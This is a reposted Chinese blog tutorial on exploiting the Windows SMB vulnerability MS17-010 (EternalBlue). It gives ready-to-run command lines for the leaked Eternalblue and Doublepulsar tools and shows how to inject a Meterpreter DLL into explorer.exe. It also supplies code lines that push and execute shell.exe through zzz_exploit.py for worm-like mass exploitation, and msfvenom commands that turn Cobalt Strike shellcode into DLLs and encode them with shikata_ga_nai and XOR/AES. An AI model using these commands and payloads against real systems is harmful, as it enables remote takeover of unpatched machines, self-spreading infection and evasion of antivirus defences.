ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

10.MS17-010的各种利用操作

2021-09-08 14:34:56  阅读:846  来源: 互联网

标签:10 exe -- dll 010 windows shell MS17


一、Metasploit中的ms17-010:

 

  可以直接search查看,MSF之前的写过了就不再赘述了。

 

   0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution

   针对MS17010集成以下3个工具EternalRomance 永恒浪漫 、EternalSynergy 永恒协作 、EternalChampion   永恒之冠,来执行OS命令的辅助模块

 

   1  auxiliary/scanner/smb/smb_ms17_010                              normal   Yes    MS17-010 SMB RCE Detection

   扫描是否存在MS17010漏洞

 

   2  exploit/windows/smb/doublepulsar_rce           2017-04-14       great    Yes    DOUBLEPULSAR Payload Execution and Neutralization

   针对别人已经安装好后门之后的利用模块

 

   3  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

   针对存在MS17010关于永恒之蓝x64的windows 2008R2/windows 7的利用模块

 

   4  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+

   针对存在MS17010关于永恒之蓝的windows 8+的利用模块

 

   5  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

   针对MS17010集成以下3个工具EternalRomance 永恒浪漫 、EternalSynergy 永恒协作 、EternalChampion   永恒之冠,来获取shell的漏洞利用模块

 

二、NSA原版ms17-010:

 

1、原版ms17-010的下载和配置:

 

  原版的ms17-010胜在比较稳定,相比MSF那个更不容易蓝屏。

 

  下载地址:https://github.com/x0rz/EQGRP_Lost_in_Translation

 

  下载后,将工具包中以下三个目录中的文件拷贝到同一个目录中(因为64位系统是支持32位的,所以直接复制32位的就好了):

  windows\lib\x86-Windows\

  windows\specials\

  windows\payloads\

  然后在目录中,把Eternalblue-2.2.0.0.xml文件重命名成Eternalblue-2.2.0.xml,Doublepulsar-1.3.1.0.xml改为Doublepulsar-1.3.1.xml

 

  2、执行命令:

 

①Eternalblue-2.2.0.exe --TargetIp 10.10.24.231 --Target WIN72K8R2 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig outlog.txt

 

②Doublepulsar-1.3.1.exe --OutConfig 2.txt --TargetIp 10.10.24.231 --TargetPort 445 --DllPayload msf_241.176_x86_8080.dll --DllOrdinal 1 ProcessName explorer.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll

 

  其实我们可以直接输入Eternalblue-2.2.0.exe --help查看具体命令

 

  注意,在第一条命令中:

--TargetIp 10.10.24.231           //写对方的IP

--Target WIN72K8R2              //是win7的意思,如果是xp就改为--Target xp,如果是2003直接用MSF那个就好了

--NetworkTimeout 60             //设置超时时间

--TargetPort 445                   //设置目标端口

--MaxExploitAttempts 3       //设置攻击尝试的次数,这个数值可以调大一些,攻击几百上千次都是有可能的

--OutConfig outlog.txt          //日志

其他的参数都是默认的不用更改

 

然后在cmd中执行第一条命令(注意执行命令要在正确的路径下,可以用ctrl+shift+右键在当前目录打开cmd),出现下面的否会结果就说明后门安装成功了

 

 

 

 

  第二条命令:

然后我们就可以用第二条命令,通过后门传送一个rundll的马过去,注意第二条命令的--TargetIp要与第一条命令的一致,其他的参数不用动,其中:

 

ProcessName explorer.exe                          //是注入的进程

--Architecture x64                                        //是64位系统,可以按情况改为x86

--DllPayload msf_241.176_x86_8080.dll     //这个pyload是msf用msfvenom生成的,命令忘了可以看看前面的msf笔记。dll文件生成后直接放到Doublepulsar-1.3.1.exe同目录下即可(也就是之前三合一生成的目录),否则要写绝对路径。

 

此外,如果利用msf生成dll文件,执行第二条命令之前别忘了在msf上用hindler开启监听。

执行命令后,MSF就出现meterpreter了

 

 

 

这个稳定性很高,当然还是有少数机器会重启(但重启不会立即执行),因此在执行MSF或CS生成的dll并弹回shell后必须马上输入添加启动项的命令,因此最好事先敲好命令直接复制进去执行

 

3、ms17-010的批量自动化渗透

 

  文件下载地址:https://github.com/LFODER/MS17-010

  解压后看到zzz_exploit.py文件,该会在C盘根目录创建 pwded.txt 文件,可以修改它来执行你的Payload。

 

  这里我们直接打开zzz_exploit.py文件,看到这里:

 

  我们也可以在这串代码后面加上:

smb_send_file(smbConn, '/opt/shell.exe', 'C', '/shell.exe')     
service_exec(conn, r'cmd /c  c:\\shell.exe')

  这两行代码的意思是通过SMB发送文件,将 本地的 /opt/shell.exe 发送至被攻击机器的 C:\shell.exe 并执行 shell.exe 。那么这里的shell.exe是从哪来的呢,MSF的msfvenom懂的都懂,不记得的回去看一下MSF怎么创建文件的。

  最终,在命令行终端 输入 python zzz_exploit.py  [IP]  来实施攻击。

 

  被攻击机器会收到来自攻击机发送的恶意文件并执行,从而自动化渗透,实现蠕虫病毒的效果(别忘了msf上开启监听)。

 

三、Cobalt Strike DLL用于永恒之蓝注入 

 

1、原因:

  我们在对存在MS17010的漏洞主机进⾏DLL注⼊的时候,⼀般都是⽤的Meataploit的msf venom⽣成出来的,所以每次上线之 后基本都是要经过相对⽐较繁琐的操作之后转到Cobalt Strike去,这样就会显得⾮常⿇烦。所以可以使⽤metasploit的msf venom来把Cobalt Strike⽣成的bin转成DLL。

 

2、具体操作:

  先用Cobalt Strike建立一个bin文件

 

 

 

  生成文件后,打开msf,用命令将这个bin文件转化为dll文件

  转化命令:msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o shell.dll

 

  此时,这个 shell.dll ,就能⽤于在进⾏永恒之蓝的漏洞的dll注⼊了。

 

3、转化命令的更多了解

  msfvenom命令参数⾮常多,还有就是要注意你的shellcode是x64还是x86,那么你在⽤msfvenom的时进⾏变换。 其实转化⽅法⼀共分两种:

   ①msfvenom -p generic/custom PAYLOADFILE=./shellcode.bin -a x86 --platform windows - e x86/add_sub -f dll -o shellcode-encoded.dll

   ②cat <shellcode_file> | msfvenom -b <bad_chars> -e -f -a --platform -p -

 例子:

    cat ~/Desktop/shellcode.bin|./msfvenom -b '\x00' -e x86/shikata_ga_nai --encrypt xor - -encrypt-key 0x69 --arch x86 --platform windows -f c -p -

 

  注意:

  Error: Initialization vector is missing

  解决⽅案:For AES-256 the key size must be 256 bits or 32 bytes. The IV for CFB mode - as stated earlier - must always be 16 bytes as AES is a 128 bit block cipher. AES is restricted with regards to the block size compared with the Rijndael cipher.

  msfvenom使⽤aes256加密时,--encrypt-key长度 为32,--encrypt-iv长度为16位

 

  此外我们也可以用msfvenom -h 查看参数

标签:10,exe,--,dll,010,windows,shell,MS17
来源: https://www.cnblogs.com/Thorndike/p/15242477.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有